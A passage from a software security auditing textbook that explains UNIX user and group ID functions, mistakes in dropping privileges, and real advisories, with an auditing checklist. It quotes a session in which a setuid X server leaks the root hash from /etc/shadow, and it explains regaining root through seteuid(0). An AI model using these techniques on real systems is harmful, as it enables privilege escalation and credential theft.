the argument, and setuid() updates the process's effective user ID. So in the preceding case, the two potentially valid calls are setuid(1000) and setuid(1), both of which would change only the effective user ID. So if you use setuid(1000), the IDs would change as follows: real user ID - 1000 - admin saved set-user-ID - 1 - bin effective user ID - 1000 - admin If you then use setuid(1), you have this result: real user ID - 1000 - admin saved set-user-ID - 1 - bin effective user ID - 1 - bin OpenBSD allows you to use setuid() on the real user ID, the saved set-user-ID, or the effective user ID. Its behavior is a little different; if you use the current effective user ID as the argument, setuid() in OpenBSD sets all three IDs to that user ID. However, if you use setuid() to toggle between the saved set-user-ID and effective user ID, as you would in Linux or Solaris, the function behaves like seteuid(). The basic idea is that if you repeat the setuid() call, you can make the permission change permanent. For example, say you have this set of IDs : real user ID - 1000 - admin saved set-user-ID - 1 - bin effective user ID - 1 - bin If you use setuid(1), you effectively assume the bin user's identity, and all three IDs are changed to 1. If you use setuid(1000), however, you toggle your effective user ID, and the result is as follows: real user ID - 1000 - admin saved set-user-ID - 1 - bin effective user ID - 1000 - admin The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 490 From here, you could use another setuid(1000) and cause the program to fully assume the admin user's identity, or you could toggle back to bin by using setuid(1). FreeBSD allows you to use setuid() on the real user ID or effective user ID, and the result causes all three user IDs to be set. So in the preceding example, you could use setuid(1000) to set all three IDs to 1000, or you could use setuid(1) to set all three IDs to 1. FreeBSD always lets you fully drop privileges back to the real user ID. However, it also lets you use setuid() to confirm your current effective user ID and have it become your new user ID across all three IDs. NetBSD allows you to use setuid() only with the real user ID, and the result causes all three user IDs to be set. In essence, the NetBSD version of setuid() allows only a nonsuperuser process to fully drop privileges back to the real user ID. So in the preceding example, if you use a setuid(1000), you would end up with all three IDs being 1000. All these details are great, but what's the bottom line for auditing code that uses setuid()? Basically, if the program has an effective user ID of 0, and the developer is using it to fully drop user privileges, everything is probably fine. If the program doesn't have an effective user ID of 0, setuid() is probably the wrong function for trying to manipulate privileges. If developers try to rely on it to fully drop privileges, they are burned by the saved set-user-IDs persisting in Linux, OpenBSD, and Solaris. If they try to rely on it just to change the effective user ID, they inadvertently throw away credentials in FreeBSD and NetBSD. The setresuid() Function The setresuid() function is used to explicitly set the real, effective, and saver set-user-IDs. This function has the following prototype: int setresuid(uid_t ruid, uid_t euid, uid_t suid); The ruid, euid, and suid parameters indicate new values for the real user ID, effective user ID, and saved set-user-ID attributes respectively. The caller can place a -1 in any of the arguments, and the kernel fills in the current value of the corresponding UID. Superusers can set the IDs to any value they want. A nonsuperuser process can set any of the IDs to the value of any of the three current IDs. This function has clear semantics and is implemented the same way across the UNIX variants that provide it. It's currently available on Linux, FreeBSD, HPUX, and newer versions of OpenBSD. This is summarized in Table 9-3. Table 9-3. Setresuid() Behavior Privileged OS Notes The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 491 Table 9-3. Setresuid() Behavior Privileged OS Notes Yes Linux FreeBSD HPUX OpenBSD 3.3 and later. Real user ID, effective user ID, and saved set-user-ID are set to the specified values or filled in from current values No Linux FreeBSD HPUX OpenBSD3.3 and later Any of the three values can be set to any of the current real user ID, effective user ID, or saved set-user-ID. Other values can be filled in by the kernel. The setreuid() Function The setreuid() function sets both the real user ID and effective user ID of a process. It works as shown: int setreuid(uid_t ruid, uid_t euid); The setreuid() takes a ruid parameter to indicate what the real userID should be set to, and an euid function to indicate what the effective user ID should be set to. If you provide an argument of -1 for ruid or euid, the function fills in the current value from the process. The semantics of this function are explored in Table 9-4. Table 9-4. Setreuid() Behavior Privileged OS Notes Yes NetBSD Real user ID and effective user ID can be set to arbitrary values. Saved set-user-ID is set to the effective user ID if the real user ID value is specified, even if it isn't changed. Yes FreeBSD Solaris Real user ID and effective user ID can be set to arbitrary values. Saved set-user-ID is set to the effective user ID if the real user ID is specified or the effective user ID doesn't equal the real user ID. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 492 Table 9-4. Setreuid() Behavior Privileged OS Notes Yes Linux Real user ID and effective user ID can be set to arbitrary values. Saved set-user-ID is set to the effective user ID if the real user ID is specified or the effective user ID is specified and its new value doesn't equal the real user ID. Yes OpenBSD 3.3 and later Real user ID and effective user ID can be set to arbitrary values. Saved set-user-ID is set to the effective user ID if the real user ID is specified and the real user ID is actually changed or the effective user ID doesn't equal the saved user ID. Yes OpenBSD before 3.3 Effectively unsupported. Behavior is provided through compatibility lib with rather complex, nonconfirming behavior. No NetBSD Real user ID can be set to real user ID or effective user ID. Effective user ID can be set to real user ID, effective user ID, or saved set-user-ID. Saved set-user-ID is set to the effective user ID if the real user ID value is specified, even if it isn't changed. No FreeBSD Real user ID can be set to real user ID or saved user ID. Effective user ID can be set to real user ID, effective user ID, or saved set-user-ID. Saved set-user-ID is set to the effective user ID if the real user ID is specified or the effective user ID doesn't equal the real user ID. No Solaris Real user ID can be set to real user ID or effective user ID. Effective user ID can be set to real user ID, effective user ID, or saved set-user-ID. Saved set-user-ID is set to the effective user ID if the real user ID is specified or the effective user ID doesn't equal the real user ID. No Linux Real user ID can be set to real user ID or effective user ID. Effective user ID can be set to real user ID, effective user ID, or saved set-user-ID. Saved set-user-ID is set to the effective user ID if the real user ID is specified or the effective user ID is specified and its new value doesn't equal the real user ID. No OpenBSD 3.3 and later Real user ID can be set to real user ID, saved set-user-ID or effective user ID. Effective user ID can be set to real user ID, effective user ID, or saved set-user-ID. Saved set-user-ID is set to the effective user ID if the real user ID is specified and the real user ID is actually changed or the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 493 Table 9-4. Setreuid() Behavior Privileged OS Notes effective user ID doesn't equal the saved user ID. No OpenBSD before 3.3 Effectively unsupported. Behavior is provided through compatibility lib with rather complex, nonconfirming behavior. If you're the superuser, you can set the user ID and effective user ID to any value you like. If you aren't the superuser, allowed behaviors vary among OSs, but you can typically change the real user ID to the effective user ID. You can change the effective user ID to the real user ID, the effective user ID, or the saved set-user-ID. After it modifies the real user ID and the effective user ID, the setreuid() function attempts to determine whether it should update the saved set-user-ID to reflect the value of the new effective user ID. It varies a bit among OSs, but generally, if the real user ID is changed or the effective user ID is changed to something other than the real user ID, the saved set-user-ID is set to be equal to the effective user ID. This API is quite cumbersome and there are issues with it having variances across multiple platforms, which you can definitely see in Table 9-4. Linux, NetBSD, and Solaris implement similar algorithms, but FreeBSD lets a nonsuperuser process change the real user ID to the saved set-user-ID as opposed to the effective user ID, which is slightly different. Versions of OpenBSD before 3.3 effectively didn't support this function; it was provded through a compatibility mode that was incompatible with other UNIX implementations. Versions after 3.3 implement it, but it has slightly different semantics than the other UNIX implementations. setreuid() isn't pretty, but it's important for one notable situation. If a program is managing two user IDs as its real user ID and saved set-user-ID, but neither is the superuser, it can prove difficult for that program to fully drop one set of privileges. Linux, FreeBSD, HPUX, and more recent OpenBSD builds can make use of the setresuid() function, which has a clean and simple interface. Solaris and certain versions of the BSDs, however, don't have access to this function. For a more cross-platform solution, developers can use the setreuid(getuid(),getuid()) idiom, which should work on all modern UNIX implementations, with the notable exception of older versions of OpenBSD. Before OpenBSD imported the setresuid() function and rewrote the setreuid() function, the only straightforward way for a nonprivileged program to clear the saved set-user-ID was to call the setuid() function when the effective user ID is set to the real user ID. This can be accomplished by calling setuid(getuid()) twice in a row. Group ID Functions The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 494 The setgid(), setegid(), setregid(), setresgid(), setgroups(), and initgroups() functions are used to manipulate the group IDs associated with a process. Like the user ID functions, these functions have slightly different semantics on the different UNIX OSs. The following sections introduce the group ID functions. Warning The group ID functions, like the user ID functions, have different behaviors if the process is running as the superuser, which means an effective user ID of 0. An effective group ID of 0, however, doesn't give a process any special kernel-level privileges. The setegid() Function The setegid() function is used to change the effective group ID associated with the current process. It's prototype is int setegid(gid_t egid); It behaves like its user ID counterpart, the seteuid() function, in that it's used to toggle the effective group ID between the saved set-group-ID and the real group ID. Similar to seteuid(), if the process is running with superuser privileges, it can set the effective group ID to any arbitrary value. The setgid() Function The setgid() function changes group IDs associated with a process, and is equally nuanced as its counterpart setuid(). It works like this: int setgid(gid_t gid); setgid() takes a single parameter, gid, which it uses to set the effective group ID, and possibly also the saved set-group-ID and real group ID. If it's run from a process running with superuser privileges, it sets the effective group ID, the saved set-group-ID, and the real group ID to the same value. When the process isn't running as the superuser, setgid() has varying behavior that closely tracks the different behaviors discussed for setuid(). The setresgid() Function The setresgid() function is used to change the real group ID, effective group ID, and saved set-group-ID of a process. It has the following prototype: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 495 int setresgid(gid_t rgid, gid_t egid, gid_t sgid); setresgid() behaves in much the same way that setresuid() does, except that it manipulates group IDs for a process rather than user IDs. The caller can provide -1 for any of the arguments, and the kernel fills in the current value. Superusers can set any of the group IDs to any value they want. A nonsuperuser process can set any of the IDs to the value of any of the three current IDs. This function has clear semantics and is implemented the same across UNIX variants that provide it. The setregid() Function The setregid() function can be used to modify the real group ID and effective group ID associated with a process. It works as shown: int setregid(gid_t rgid, gid_t egid); setregid() lets you specify the values you want for your real group ID and effective group ID through the use of the rgid and egid parameters respectively. If you provide an argument of -1 for rgid or egid, it fills in the current value from the process. This function behaves like its counterpart, setreuid(). The setgroups() Function A process can set its supplementary groups using the setgroups() function, as shown: int setgroups(int ngroups, const gid_t *gidset); The setgroups() function takes two parameters; the ngroups parameter indicates how many supplemental groups the process will have and the gidset paramaeter points to an array of group IDs that has ngroup members. This function can be called only by a process with an effective user ID of 0. The initgroups() Function As an alternative to setgroups(), processes can set their supplementary groups using initgroups(), which has the following prototype: int initgroups(const char *name, gid_t basegid); initgroups() is a convenient alternative to setgroups() because it saves the calling application from having to find out the groups that a particular user is a member of in order to correctly establish the process's supplementary group list. The name The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 496 parameter indicates a user account whose group memberships are to be enumerated and set as the calling process's supplementary group list. The basegid GID is also added to the supplementary group list, and is typically the primary GID of the user specified by the name parameter. Like setgroups(), it can be performed only by a process with an effective user ID of 0. 7.5.4 Privilege Vulnerabilities Now that you are familiar with the basic privilege management API, you can explore the types of mistakes developers are likely to make when attempting to perform privilege management. Reckless Use of Privileges The most straightforward type of privilege vulnerability happens when a program running with elevated privileges performs a potentially dangerous action on behalf of an unprivileged user without first imposing any limitations on itself with privilege management functions. Although it is possible for programs to safely access resources without needing to temporarily or permanently drop privileges, it is very easy to make mistakes when doing so. Here is a simple real-world example of a setuid root program named XF86_SVGA that used to ship with the XFree86 windowing package. Nicolas Dubee, a notorious and gifted researcher, discovered this vulnerability in 1997. Listing 9-1 is an excerpt from his advisory (available at http://packetstormsecurity.org/advisories/plaguez/plaguez.advisory.010.xfree86). Listing 9-1. Privilege Misuse in XFree86 SVGA Server [plaguez@plaguez plaguez]$ ls -al /etc/shadow -rw---- 1 root bin 1039 Aug 21 20:12 /etc/shadow [plaguez@plaguez bin]$ ID uid=502(plaguez) gid=500(users) groups=500(users) [plaguez@plaguez plaguez]$ cd /usr/X11R6/bin [plaguez@plaguez bin]$ ./XF86_SVGA -config /etc/shadow Unrecognized option: root:qEXaUxSeQ45ls:10171:-1:-1:-1:-1:-1:-1 use: X [:<display>] [option] -a # mouse acceleration (pixels) -ac disable access control restrictions -audit int set audit trail level -auth file select authorization file bc enable bug compatibility -bs disable any backing store support The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 497 -c turns off key-click The XF86_SVGA server, which was a setuid root program, happily read the configuration file /etc/shadow, and then proceeded to complain about the unrecognized option of root's password hash! The problem is that the X server would read in any configuration file the user requested as root, without regard for the actual user's permissions. Its configuration file parser happened to display a verbose error message, which printed the first line of the suspect configuration file. Considering the effects of any elevated group privileges is important, too. Many programs are installed as setgid so that they run as a member of a particular group. If the program performs a privileged action without relinquishing group privileges, it can still be vulnerable to a privilege escalation attack by allowing the user to access resources designated to the group in question. For example, the /sbin/dump program in NetBSD was installed as setgid tty so that it could notify system administrators if backup media needed to be changed. The dump program never dropped this group privilege, and local users could have the dump program start a program of their choice by setting the libc environment variable RCMD_CMD. This program would then run with an effective group ID of tty. Attackers could seize group tty privileges, which could allow them to interact with other user's terminals. Dropping Privileges Permanently Occasionally, application developers will make mistakes when writing the code for a program that permanently relinquishes its privileges. The following sample code represents part of a setuid root program: /* set up special socket */ setup_socket(); /* drop root privs */ setuid(getuid()); /* main processing loop */ start_procloop(); This code is similar in spirit to what you find in several common network programs. The program needs to be root to obtain a socket bound to a port below 1024 or to obtain a special socket for sniffing. The author wants the program to be safe and follow a least-privilege design, so after obtaining this socket, the program drops its The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 498 root privileges by performing a setuid(getuid()), which sets the saved set-user-ID, the real user ID, and the effective user ID to the value of the real user ID. setuid(getuid()) is a common idiom for permanently relinquishing privileges, and it usually works without too many complications. However, in some situations, it's not enough, as explained in the following sections. Dropping Group Privileges Some programs are installed as both setuid and setgid, meaning they run with an elevated user ID and elevated group ID. The code in the previous section would be fine if the program is only setuid root, but if the program is setuid root and setgid wheel, the elevated group privileges aren't relinquished correctly. In the processing loop, the effective group ID of the process is still set to the privileged wheel group, so if attackers found a way to exploit the program in the main processing loop, they could gain access to resources available to that privileged group. The correct way to address this problem is to relinquish group privileges like this: /* set up special socket */ setup_socket(); /* drop root privs - correct order */ setgid(getgid()); setuid(getuid()); /* main processing loop */ start_procloop(); This code drops the group permissions and then the user permissions. It seems fairly straightforward, but it can actually be done incorrectly, as shown in the following example: /* set up special socket */ setup_socket(); /* drop root privs incorrect order */ setuid(getuid()); setgid(getgid()); /* main processing loop */ start_procloop(); This code doesn't fully work because the function calls are ordered incorrectly. The setuid(getuid()) function relinquishes root privileges. Remember that having an The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 499 effective group ID of 0 doesn't mean you are a superuser, as superuser status is based solely on your effective user ID. The setgid(getgid()) call is performed with privileges of the nonprivileged user, so the result of the setgid(getgid()) call depends on the OS. In Linux, Solaris, and OpenBSD, only the effective group ID is modified, and the saved set-group-ID still contains the group ID of the privileged group. If attackers find a flaw in the program they could leverage to run arbitrary code, they could perform a setegid(0) or setregid(-1, 0) and recover the elevated group privileges. Dropping Supplemental Group Privileges Programs running as daemons can run into security issues related to dropping privileges that are a little different from setuid programs. This is because they are typically started as a privileged user and then assume the role of an unprivileged user based on user input. In this situation, you have to be cognizant of supplemental group IDs because if they aren't updated when privileges are dropped, they could leave the process with access to privileged resources. Certain implementations of the rsync application contained a vulnerability of this nature, which is detailed at http://cve.mitre.org/cgi-bin/cvename.cgi?name=. If rsync runs as a daemon, it starts off with the user ID and groups of the user running the daemon (typically root). If the rsync daemon needs to operate as an unprivileged user, it runs the following code: if (am_root) { if (setgid(gid)) { rsyserr(FERROR, errno, "setgid %d failed", (int) gid); io_printf(fd,"@ERROR: setgid failed\n"); return -1; } if (setuid(uid)) { rsyserr(FERROR, errno, "setuid %d failed", (int) uid); io_printf(fd,"@ERROR: setuid failed\n"); return -1; } am_root = (getuid() == 0); } This code releases the effective group ID before the effective user ID, so it should drop those privileges in the correct order. However, this code doesn't drop the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 500 supplementary group privileges! The developers solved this problem by inserting the following code: #ifdef HAVE_SETGROUPS /* Get rid of any supplementary groups this process * might have inherited. */ if (setgroups(0, NULL)) { rsyserr(FERROR, errno, "setgroups failed"); io_printf(fd, "@ERROR: setgroups failed\n"); return -1; } #endif ... if (setgid(gid)) { Note that setgroups() works only if you are the superuser and have an effective user ID of 0. This is another reason it's important to relinquish privileges in the correct order. Dropping Nonsuperuser Elevated Privileges As discussed earlier, the behavior of the setuid() and setgid() functions are different if the program isn't running as the superuser. setuid(getuid()) is a reasonable idiom for a program running as root that wants to drop privileges permanently, but if the effective user ID isn't 0, the same tactic yields system-dependant, and sometimes inadequate results. Say that the simple network program was changed so that instead of being setuid root and setgid wheel, it's setuid to another nonprivileged user, such as daemon. This might happen if you installed a kernel-hardening patch that let programs with a particular user ID or group ID allocate special sockets to avoid the root privilege requirement. The code would look the same: /* set up special socket */ setup_socket(); /* drop root privs */ setgid(getgid()); setuid(getuid()); /* main processing loop */ start_procloop(); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 501 However, the semantics of this code would be quite different when not running with an effective user ID of 0. Both setgid() and setuid() would be called as nonprivileged users, and they would change only the effective IDs, not the saved IDs. (In FreeBSD and NetBSD, this code would change all three IDs, so it wouldn't be vulnerable.) Attackers who exploited a problem in the program could therefore regain any relinquished privileges. The solution for nonsetuid root applications that need to fully drop their privileges is to use the setresgid() and setresuid() functions or the setregid() and setreuid() functions if necessary. OpenBSD versions before 2.3 require two calls to setuid(). A noted researcher named Michael Zalewski found a bug in Sendmail 8.12.0 (documented at www.sendmail.org/releases/8.12.1.html) that's a good real-world example of this situation. Sendmail used to install a set-user-ID root binary, but in version 8.12.0, it moved to a new configuration, with a set-group-ID smssp binary. Here's the code that is intended to drop the elevated group privileges: int drop_privileges(to_real_uid) bool to_real_uid; { int rval = EX_OK; GIDSET_T emptygidset[1]; ... if (to_real_uid) { RunAsUserName = RealUserName; RunAsUid = RealUid; RunAsGid = RealGid; } /* make sure no one can grab open descriptors for secret files */ endpwent(); sm_mbdb_terminate(); /* reset group permissions; these can be set later */ emptygidset[0] = (to_real_uid || RunAsGid != 0) ? RunAsGid : getegid(); if (setgroups(1, emptygidset) == -1 && geteuid() == 0) { syserr("drop_privileges: setgroups(1, %d) failed", (int) emptygidset[0]); rval = EX_OSERR; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 502 /* reset primary group and user ID */ if ((to_real_uid || RunAsGid != 0) && EffGid != RunAsGid && setgid(RunAsGid) < 0) { syserr("drop_privileges: setgid(%d) failed", (int) RunAsGid); rval = EX_OSERR; } } First, setgroups() fails, but that's fine because the supplemental groups are ones for the real user, which is a nonprivileged account. setgid() successfully changes the effective group ID from the saved set-group-ID to the real group ID but doesn't fully drop the privileges (except in FreeBSD and NetBSD). The saved set-group-ID still has the privileged smssp group ID. The Sendmail developers fixed the issue by replacing the call to setgid() with conditionally compiled calls to setresgid() or setregid(), depending on which function is available. Mixing Temporary and Permanent Privilege Relinquishment Many applications designed to run in an elevated context are programmed by security-conscious developers who adopt a model of least privilegesrunning an application with the minimal set of privileges it requires at a certain time to achieve its objectives. This model often means running as the invoking user for the bulk of the program and temporarily switching to a more powerful user when a privileged operation is required. If no more privileged operations are required, often the application permanently relinquishes its elevated user-ID by using setuid(). Although this model is preferred for developing a privileged application, subtle errors can result in using setuid() when the effective user-ID has been changed previously, as shown in this example: #define STARTPRIV seteuid(0); #define ENDPRIV seteuid(realuid); void main_loop(void) { uid_t realuid=getuid(); /* don't need privileges */ seteuid(realuid); /* process data */ ... STARTPRIV The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 503 do_privileged_action(); ENDPRIV /* process more data */ ... /* done with root privs - drop permanently */ setuid(realuid); /* process yet more data */ ... } This code starts out by relinquishing its privileges temporarily with seteuid(realuid). When the program needs its root privileges, it uses the STARTPRIV macro to obtain them and the ENDPRIV macro to release them. Those macros work by calling seteuid(0) and seteuid(realuid), respectively. After a bit of processing, the program decides it wants to fully drop its privileges, and it does that with the common idiom setuid(realuid). The problem is that at this point, the effective user ID is the real user ID of the program, not 0. Therefore, setuid(realuid) doesn't affect the saved set-user-ID in most UNIX implementations, with FreeBSD and NetBSD being the major exceptions. If attackers find a way to co-opt the program after the final privilege drop and run a seteuid(0), they could recover root privileges from the saved set-user-ID. Here's another example: void temp_drop(void) { seteuid(getuid()); } void temp_gain(void) { seteuid(0); } void main_loop(void) { ... while (options) { ... if (unsafe_option) { temp_drop(); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 504 if (process_option()==END_OF_OPTIONS) goto step2; temp_gain(); } ... } ... step2: /* drop root privs */ setuid(getuid()); ... } This code represents a simple set-user-ID root application. The main loop contains two steps: option processing and main processing. The option-processing code needs root privileges, but it temporarily drops them to process a potentially unsafe option. After the option-processing code is completed, the program enters step2, the main processing section. The rest of the code is complex and potentially prone to security issues, so it fully drops privileges with a setuid(getuid()) before continuing. The problem is that if an unsafe option signals that the option processing is prematurely complete, the jump to step2 happens while privileges are temporarily dropped. The setuid(getuid()) call succeeds, but it doesn't correctly clear the saved set-user-ID in the process, except in FreeBSD and NetBSD. Therefore, if there's an exploitable problem in the main processing code, users can reclaim root privileges by performing a seteuid(0), which succeeds because the saved set-user-ID is still 0. Dropping Privileges Temporarily Temporary dropping of privileges can also be difficult to implement correctly. Many of the pitfalls in permanent privilege relinquishment can be applied to temporary privilege changes as well. Furthermore, dropping group privileges (and supplemental group privileges) is an easy step to overlook. Finally, the order in which privileges are relinquished can cause some privileges to be retained mistakenly. Using the Wrong Idiom If you drop privileges temporarily, your program is still vulnerable to a low-level attack, such as a buffer overflow. If attackers can run arbitrary code within the context of your process, they can issue the necessary system calls to propagate a saved set-user-ID to the effective and real user ID fields and regain privileges. To avoid this possibility, dropping privileges permanently as soon as possible is the safest option for a setuid application. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 505 Tcptraceroute had a simple permission-related problem that a security specialist from Debian Linux named Matt Zimmerman discovered. The program intended to drop privileges permanently, but the author used the idiom for dropping privileges temporarily. Here's the vulnerable code: defaults(); initcapture(); seteuid(getuid()); return trace(); } This mistake was a simple one: The authors used the wrong function. They should have used setuid() rather than seteuid() to prevent privileges from being reclaimed later. Any memory corruption vulnerability that occurred in the application's trace() function could allow privileges to be regained simply by using seteuid(0). The full advisory is archived at http://freshmeat.net/articles/view/893/. Dropping Group Privileges Now take a look at a real-world example of a vulnerability related to dropping group privileges in the wrong order. (This vulnerability is documented in the FreeBSD security advisory FreeBSD-SA-01:11.inetd, which can be found at http://security.freebsd.org/advisories/FreeBSD-SA-01:11.inetd.asc.) The inetd server in FreeBSD contains code to handle the IDENT service, which remote users query to learn the user associated with any TCP connection on the machine. The service has an option thatallows users to place a .fakeid file in their home directory, which can contain a name the ident server provides instead of the real username. Because the ident server runs as root, the code in Listing 9-2 was used to drop privileges temporarily. Listing 9-2. Incorrect Temporary Privilege Relinquishment in FreeBSD Inetd /* * Here, if enabled, we read a user's ".fakeid" file in * their home directory. It consists of a line * containing the name they want. */ if (fflag) { FILE *fakeid = NULL; int fakeid_fd; if (asprintf(&p, "%s/.fakeid", pw->pw_dir) == -1) iderror(lport, fport, s, errno); /* The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 506 * Here we set ourself to effectively be the user, * so we don't open any files we have no permission * to open, especially symbolic links to sensitive * root-owned files or devices. */ seteuid(pw->pw_uid); setegid(pw->pw_gid); ... This code first calls seteuid() to take on the user's privileges. It then calls setegid() to take on the caller's effective group ID, but this call fails because the program has relinquished its superuser privileges. Using More Than One Account To understand this problem, consider a daemon that needs to use more than one user account. (This example is based on one provided by Jan Wolter, a software designer that wrote an interesting paper entitled "Unix Incompatibility Notes: UID Function Setting," available at www.unixpapa.com/incnote/setuid.html.) Here's an example of how it might be implemented: /* become user1 */ seteuid(user1); process_log1(); /* become user2 */ seteuid(user2); process_log2(); /* become root again */ seteuid(0); The intent of this code is to do some processing as user1, and then assume the identity of user2 and do further processing. This implementation is flawed, however, because the call to seteuid(user2) fails because the program's effective user ID is no longer 0; it's user1. Correct code would have a seteuid(0) before the seteuid(user2) call. Auditing Privilege-Management Code Now that you have seen a variety of vulnerabilities in code running with special privileges, you can focus on a method for auditing how those privileges are managed The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 507 throughout the application's lifespan. You can use the steps in the following sections to help you decide whether privilege management has been implemented correctly and adequately inhibits users' ability to exploit the application. You consider two main cases: an application that intends to drop privileges permanently and an application that intends to drop privileges temporarily. Permanent Dropping of Privileges Some programs run with root privileges and want to discard these root privileges permanently. When auditing an application that runs in a privileged context and you encounter this scenario, you need to address the following points:  Make sure the code that's going to drop privileges permanently is running with an effective user ID of 0. If it's not, it probably won't be able to drop privileges effectively. Look for possible unexpected code paths where the program might temporarily drop privileges and then permanently drop privileges without restoring temporary privileges first.  If supplemental groups are potentially unsafe, make sure they are cleared with setgroups(). Again, setgroups() works only when running with an effective user ID of 0.  Make sure the real group ID, the saved set-group-ID, and the effective group ID are set to an unprivileged group, usually done with setgid(getgid()). Look for code that mistakenly uses setegid() to try to drop privileges.  Make sure the real user ID, the saved set-user-ID, and the effective user ID are set to an unprivileged user, usually done with setuid(getuid()). Keep an eye outfor code that mistakenly uses seteuid() to try to drop privileges.  Make sure the privileged groups and supplemental groups are dropped before the process gives up its effective user ID of root. Otherwise, the program is likely to expose privileged group credentials. There are also programs that run without root privileges but want to discard one set of privileges permanently; for those programs, check the following points:  The programmer can't modify groups with setgroups(), as this function works only for superusers. If the program requires this functionality but doesn't have root privileges, it has a design flaw.  Programmers run into difficulty when using the setgid(getgid()) idiom because it probably leaves the saved set-group-ID set to a privileged group. You can suggest the use of setregid(getgid(), getgid()) or setresgid(getgid(), getgid(), getgid()), which sets all three group IDs to the real group ID. This method doesn't work in older versions of OpenBSD, however. You can instead suggest using setgid(getgid()) twice in a row to clear the saved set-group-ID.  Similarly, developers run into difficulty using the setuid(getuid()) idiom because it probably leaves the saved set-user-ID set to a privileged user. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 508 setreuid(getuid(), getuid()) or setresuid(getuid(), getuid(), getuid()) should work to set all three user IDs to the real user ID. This method doesn't work in older versions of OpenBSD, but you can instead suggest using setuid(getuid()) twice in a row. Temporary Dropping of Privileges If programs need to drop their privileges temporarily, check for the following:  Make sure the code drops any relevant group permissions as well as supplemental group permissions.  Make sure the code drops group permissions before user permissions.  Make sure the code restores privileges before attempting to drop privileges again, either temporarily or permanently.  Think about the consequences of changing the effective user ID for signals, debugging APIs, and special device files. These issues are discussed in more depth in this chapter and Chapter 10(? [????.]), "UNIX II: Processes." Signals are dealt with separately in Chapter 13(? [????.]), "Synchronization and State." Function Audit Logs for Privileged Applications As a useful auditing aid, you might find it advantageous to note in your function audit logs (described in Chapter 7(? [????.]), "Program Building Blocks") the privileges that each function runs with when auditing applications that switch privilege contexts. This is as simple as adding in an additional two entries for a function (See Table 9-5). Table 9-5. Function Audit Log Addition User Privileges RUID=user, EUID=root, SUID= Group Privileges RGID=users, EGID=users, SGID=users, SUPP= The example indicates both the user and group privileges in effect when the program is run. RUID, EUID, and SUID stand for "Real UID", "Effective UID", and "Saved set UID" respectively. The next row uses RGID, EGID, SGID, and SUPP to stand for "Real GID", "Effective GID", "Saved set GID", and "Supplemental Groups" respectively. You also need to add to your notes for the function if it changes privileges throughout the course of the function, and in which cases it will change privileges. This little addition to a standard audit log allows you to quickly and accurately assess whether resource accesses within the function are potentially dangerous or not. Note The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 509 You saw that the privilege management API can behave differently on different UNIX systems, and, as such, you might not be able to correctly assess what the user and group privileges will be for a particular function. In this case, you also should make a note in the function audit log if non-portable privilege API usage might cause the application to behave differently on other OSs. Privilege Extensions The UNIX privilege model often comes under criticism because of its all-or-nothing design. If you're the root user, you have the unrestricted ability to wreak havoc on the system because you're granted access to any resource you want. To understand why this is a problem, return to one of the examples used in the discussion of user IDs. The ping program requires root privileges to run because it needs to create a raw socket. If a vulnerability is discovered in ping that is exploitable before it drops privileges, not only can users create a raw socket, but they can also modify any file on the system, potentially load kernel modules to hijack system functionality, delete log files, and steal sensitive data. So any program that needs to perform an operation requiring special privileges essentially puts the entire system's security at stake. Several technologies, discussed in the following sections, have been developed to combat this age-old problem. Linux File System IDs One set of IDs not mentioned previously is relevant to code running on a Linux system. In Linux, each process also maintains a file system user ID (fsuid) and a file system group ID (fsgid). These IDs were created to address a potential security problem with signals. If you recall, when a daemon running as root temporarily drops privileges to assume a user's role, it sets its effective user ID to the ID of the less privileged user. This behavior can lead to security issues because a process's effective user ID is used in security checks throughout the kernel. Specifically, it's used to determine whether certain signals can be sent to a process from another process. Because of this checking, when the daemon assumes the effective user ID of a local user on the machine, that user might be able to send signals and perhaps even attach a debugger to the daemon. To address this issue, the Linux kernel programmers created the fsuid and fsgid to be used for all file system accesses. These IDs are usually kept 100% synced with the effective user ID, so their presence doesn't affect use of the normal privilege-management APIs. However, a program that wants to temporarily use a normal user's file system privileges without exposure to attacks caused by security The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 510 checks based on effective IDs can simply change its file system user and group IDs with the API calls setfsuid() and setfsgid(). BSD securelevels The BSD securelevels kernel protection (now supported by Linux to some extent) is intended to protect the system kernel from the root user. The primary focus of securelevels is to enforce some restrictions on every user on the system, including the superuser, so that a root compromise doesn't render a machine completely vulnerable. It uses a systemwide kernel value, the "securelevel," to help decide what actions system users are allowed to perform. The different branches and versions of BSD vary in the number of levels they provide and the protection each level offers, but the idea is essentially the same in each version. The following excerpt from the init(8) man page describes the available levels: The kernel runs with four different levels of security. Any superuser process can raise the security level, but only init can lower it. The security levels are: -1 Permanently insecure modealways run the system in level 0 mode. 0 Insecure modeimmutable and append-only flags may be turned off. All devices may be read or written subject to their permissions. 1 Secure modethe system immutable and system append-only flags may not be turned off; disks for mounted filesystems, /dev/mem, and /dev/kmem may not be opened for writing. 2 Highly secure modesame as secure mode, plus disks may not be opened for writing (except by mount(2)) whether mounted or not. This level precludes tampering with filesystems by unmounting them, but also inhibits running newfs(8) while the system is multi-user. If the security level is initially -1, then init leaves it unchanged. Otherwise, init arranges to run the system in level 0 mode while single user and in level 1 mode while multiuser. If level 2 mode is desired while running multiuser, it can be set while single user, e.g., in the startup script /etc/rc, using sysctl(8). As you can see, this systemwide setting can inhibit actions for even superusers. Although it offers a level of protection, it doesn't allow fine-tuning for specific processes and can be susceptible to bypasses by users modifying certain files and restarting the machine if they gain root access. Capabilities Linux has also undertaken the challenge of 